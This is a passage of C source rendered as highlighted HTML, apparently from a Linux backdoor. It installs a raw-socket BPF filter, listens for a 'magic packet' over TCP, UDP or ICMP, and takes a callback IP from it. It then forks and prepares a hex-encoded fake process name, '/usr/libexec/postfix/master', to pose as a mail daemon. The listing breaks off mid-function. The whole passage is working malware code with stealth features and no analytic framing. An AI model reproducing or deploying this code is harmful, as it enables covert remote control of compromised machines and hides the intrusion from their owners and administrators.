<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x30</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x00000017</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x15</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">5</span><span class="sy0">,</span> <span class="nu12">0x00000011</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x28</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x00000014</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x45</span><span class="sy0">,</span> <span class="nu0">23</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x00001fff</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0xb1</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x0000000e</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x48</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x00000016</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x15</span><span class="sy0">,</span> <span class="nu0">19</span><span class="sy0">,</span> <span class="nu0">20</span><span class="sy0">,</span> <span class="nu12">0x00007255</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x15</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">7</span><span class="sy0">,</span> <span class="nu12">0x00000001</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x28</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x00000014</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x45</span><span class="sy0">,</span> <span class="nu0">17</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x00001fff</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0xb1</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x0000000e</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x48</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x00000016</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x15</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">14</span><span class="sy0">,</span> <span class="nu12">0x00007255</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x50</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x0000000e</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x15</span><span class="sy0">,</span> <span class="nu0">11</span><span class="sy0">,</span> <span class="nu0">12</span><span class="sy0">,</span> <span class="nu12">0x00000008</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x15</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">11</span><span class="sy0">,</span> <span class="nu12">0x00000006</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x28</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x00000014</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x45</span><span class="sy0">,</span> <span class="nu0">9</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x00001fff</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0xb1</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x0000000e</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x50</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x0000001a</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x54</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x000000f0</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x00000002</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0xc</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x00000000</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x7</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x00000000</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x48</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x0000000e</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x15</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">1</span><span class="sy0">,</span> <span class="nu12">0x00005293</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x6</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x0000ffff</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> <span class="nu12">0x6</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu12">0x00000000</span> <span class="br0">&#125;</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; filter.<span class="me1">len</span> <span class="sy0">=</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>bpf_code<span class="br0">&#41;</span><span class="sy0">/</span><span class="kw4">sizeof</span><span class="br0">&#40;</span>bpf_code<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; filter.<span class="me1">filter</span> <span class="sy0">=</span> bpf_code<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Build a rawsocket that binds the NIC to receive Ethernet frames</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>sock <span class="sy0">=</span> socket<span class="br0">&#40;</span>PF_PACKET<span class="sy0">,</span> SOCK_RAW<span class="sy0">,</span> htons<span class="br0">&#40;</span>ETH_P_IP<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy0">&lt;</span> <span class="nu0">1</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Set a packet filter</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>setsockopt<span class="br0">&#40;</span>sock<span class="sy0">,</span> SOL_SOCKET<span class="sy0">,</span> SO_ATTACH_FILTER<span class="sy0">,</span> <span class="sy0">&amp;</span>filter<span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>filter<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy0">==</span> <span class="sy0">-</span><span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Loop to Read Packets in 512 Chunks</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">memset</span><span class="br0">&#40;</span>buff<span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">512</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; psize <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; r_len <span class="sy0">=</span> recvfrom<span class="br0">&#40;</span>sock<span class="sy0">,</span> buff<span class="sy0">,</span> <span class="nu0">512</span><span class="sy0">,</span> <span class="nu12">0x0</span><span class="sy0">,</span> NULL<span class="sy0">,</span> NULL<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ip <span class="sy0">=</span> <span class="br0">&#40;</span><span class="kw4">struct</span> sniff_ip <span class="sy0">*</span><span class="br0">&#41;</span><span class="br0">&#40;</span>buff<span class="sy0">+</span><span class="nu0">14</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; size_ip <span class="sy0">=</span> IP_HL<span class="br0">&#40;</span>ip<span class="br0">&#41;</span><span class="sy0">*</span><span class="nu0">4</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>size_ip <span class="sy0">&lt;</span> <span class="nu0">20</span><span class="br0">&#41;</span> <span class="kw1">continue</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// determine protocl from packet (offset 14)</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">switch</span><span class="br0">&#40;</span>ip<span class="sy0">-&gt;</span>ip_p<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> IPPROTO_TCP<span class="sy0">:</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tcp <span class="sy0">=</span> <span class="br0">&#40;</span><span class="kw4">struct</span> sniff_tcp<span class="sy0">*</span><span class="br0">&#41;</span><span class="br0">&#40;</span>buff<span class="sy0">+</span><span class="nu0">14</span><span class="sy0">+</span>size_ip<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; size_tcp <span class="sy0">=</span> TH_OFF<span class="br0">&#40;</span>tcp<span class="br0">&#41;</span><span class="sy0">*</span><span class="nu0">4</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mp <span class="sy0">=</span> <span class="br0">&#40;</span><span class="kw4">struct</span> magic_packet <span class="sy0">*</span><span class="br0">&#41;</span><span class="br0">&#40;</span>buff<span class="sy0">+</span><span class="nu0">14</span><span class="sy0">+</span>size_ip<span class="sy0">+</span>size_tcp<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> IPPROTO_UDP<span class="sy0">:</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; udp <span class="sy0">=</span> <span class="br0">&#40;</span><span class="kw4">struct</span> sniff_udp <span class="sy0">*</span><span class="br0">&#41;</span><span class="br0">&#40;</span>ip<span class="sy0">+</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mp <span class="sy0">=</span> <span class="br0">&#40;</span><span class="kw4">struct</span> magic_packet <span class="sy0">*</span><span class="br0">&#41;</span><span class="br0">&#40;</span>udp<span class="sy0">+</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> IPPROTO_ICMP<span class="sy0">:</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pbuff <span class="sy0">=</span> <span class="br0">&#40;</span><span class="kw4">char</span> <span class="sy0">*</span><span class="br0">&#41;</span><span class="br0">&#40;</span>ip<span class="sy0">+</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mp <span class="sy0">=</span> <span class="br0">&#40;</span><span class="kw4">struct</span> magic_packet <span class="sy0">*</span><span class="br0">&#41;</span><span class="br0">&#40;</span>pbuff<span class="sy0">+</span><span class="nu0">8</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">default</span><span class="sy0">:</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// if magic packet is set process</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>mp<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>mp<span class="sy0">-&gt;</span>ip <span class="sy0">==</span> INADDR_NONE<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bip <span class="sy0">=</span> ip<span class="sy0">-&gt;</span>ip_src.<span class="me1">s_addr</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bip <span class="sy0">=</span> mp<span class="sy0">-&gt;</span>ip<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid <span class="sy0">=</span> fork<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>pid<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; waitpid<span class="br0">&#40;</span>pid<span class="sy0">,</span> NULL<span class="sy0">,</span> WNOHANG<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> cmp <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> sip<span class="br0">&#91;</span><span class="nu0">20</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> pname<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span><span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x75</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x6c</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x78</span><span class="sy0">,</span> <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x63</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x66</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x78</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x6d</span><span class="sy0">,</span> <span class="nu12">0x61</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x65</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp;<span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// /usr/libexec/postfix/master</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>fork<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="kw3">exit</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
